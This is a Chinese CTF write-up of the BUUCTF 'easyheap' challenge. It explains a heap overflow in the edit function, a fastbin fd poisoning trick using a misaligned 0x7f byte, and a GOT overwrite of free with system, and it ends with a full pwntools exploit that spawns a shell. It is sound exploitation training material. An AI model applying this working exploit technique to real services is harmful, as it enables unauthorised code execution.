BUUCTF-easyheap

题目简介

BUUCTF一道堆题,链接见:BUUCTF:EasyHeap

主要通过这道题进一步了解覆写GOT表这种之前没怎么接触过的利用手法

漏洞点分析

首先checksec,发现除了PIE全部开启,如图:


之后进入IDA,发现是个菜单程序,同时存在malloc和free,是个堆题,如图:


之后寻找溢出点,首先看到create功能:


然后对比观察edit功能,如图:


发现在edit的时候又询问了一次堆块长度,因此这里存在溢出

最后再看一下delete,free后会置空,没有UAF:

漏洞点利用

找到了溢出漏洞点,首先想办法拿任意地址写

思路为:申请超过1个的堆块,free掉后面几个,然后溢出第一个堆块去改后面堆块的fd指针,然后再malloc

但是这里需要注意fast bin的检查机制,主要如下所示:

1
2
3
4
size_t victim_idx = fastbin_index (chunksize (victim));
if (__glibc_unlikely (victim_idx != idx))
malloc_printerr ("malloc(): memory corruption (fast)");
check_remalloced_chunk (av, victim, nb);

可以看到,fast bin在申请时,会检查 size字段是否属于当前bin规定的大小 ,因此我们需要先办法用一次字节错位去伪造大小;同时,要注意 fast bin的fd指针,应该是指向chunk的头部,而不是数据区的头部

至于如何找错位字节,需要动态调试,如下图所示,想办法在heaparray上方找到了一个0x7f的错位字节:


而且可以看到这里的0x7f是标准输入输出的地址,一般不会改变,因此我们可以malloc到heaparray上方,然后溢出覆盖heaparray实现任意地址写

ok,拿到了任意地址写,但具体该写哪里?
首先注意到main函数里有一个magic变量,位于bss段,如果该变量校验正确会调用一个l33t函数,发现这个函数会执行一个类似cat flag的命令,如图:


于是考虑覆盖bss段的magic去通过检查,但是经过打远程发现,这个路径是错误的,没有flag,看来这是一个假的后门函数

接下来考虑直接拿shell,这里注意checksec中的结果为Partial RELRO,考虑覆盖GOT表

至于覆盖哪个函数,由于能输入控制的地方是heaparray数组,而恰好free函数以该处指针作为第一个参数

因此首先在0x6020ad错位字节malloc一个chunk,然后覆盖heaparray第一次任意地址写free函数的GOT表;

第二次任意地址将heaparray+1的地方填入/bin/sh

最后再free掉1号堆块

最终的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *
context(os="linux",arch="amd64",log_level="debug")
targetELF="/home/k40/Pwn/Exercise/EasyHeap/easyheap"
context.terminal=["tmux","splitw","-h"]
LOCAL=1
REMOTE=2
DEBUG=3
def Lauch(mode=LOCAL):
if mode==LOCAL:
io=process(targetELF)
return io
elif mode==REMOTE:
io=remote("node5.buuoj.cn",29633)
return io
elif mode==DEBUG:
io=gdb.debug(targetELF)
return io

def CreateHeap(io,size,payload="AAA"):
io.recvuntil("Your choice :")
io.send("1")
io.recvuntil("Size of Heap : ")
io.send(str(size))
io.recvuntil("Content of heap:")
io.send(payload)

def EditHeap(io,index,size,payload=b'\x00'):
io.recvuntil("Your choice :")
io.send("2")
io.recvuntil("Index :")
io.send(str(index))
io.recvuntil("Size of Heap : ")
io.send(str(size))
io.recvuntil("Content of heap : ")
io.send(payload)

def DeleteHeap(io,index):
io.recvuntil("Your choice :")
io.send("3")
io.recvuntil("Index :")
io.send(str(index))

elf=ELF(targetELF)
systemPLT=elf.plt["system"]
freeGOT=elf.got["free"]

ioTube=Lauch(DEBUG)

CreateHeap(ioTube,0x60)
CreateHeap(ioTube,0x60)
CreateHeap(ioTube,0x60)

DeleteHeap(ioTube,2)
DeleteHeap(ioTube,1)

payload=b'A'*(0x60+0x8)+p64(0x7f)+p64(0x6020ad)
EditHeap(ioTube,0,0x78,payload)


CreateHeap(ioTube,0x60)
CreateHeap(ioTube,0x60)

payload=b'A'*35+p64(freeGOT)
EditHeap(ioTube,2,59,payload)

EditHeap(ioTube,0,8,p64(systemPLT))
EditHeap(ioTube,1,8,b"/bin/sh\x00")

DeleteHeap(ioTube,1)
ioTube.interactive()

BUUCTF-easyheap
http://0x4a-210.github.io/2025/10/01/pwn刷题记录/其他技巧类/覆写GOT表/BUUCTF-easyheap/
Posted on
October 1, 2025
Licensed under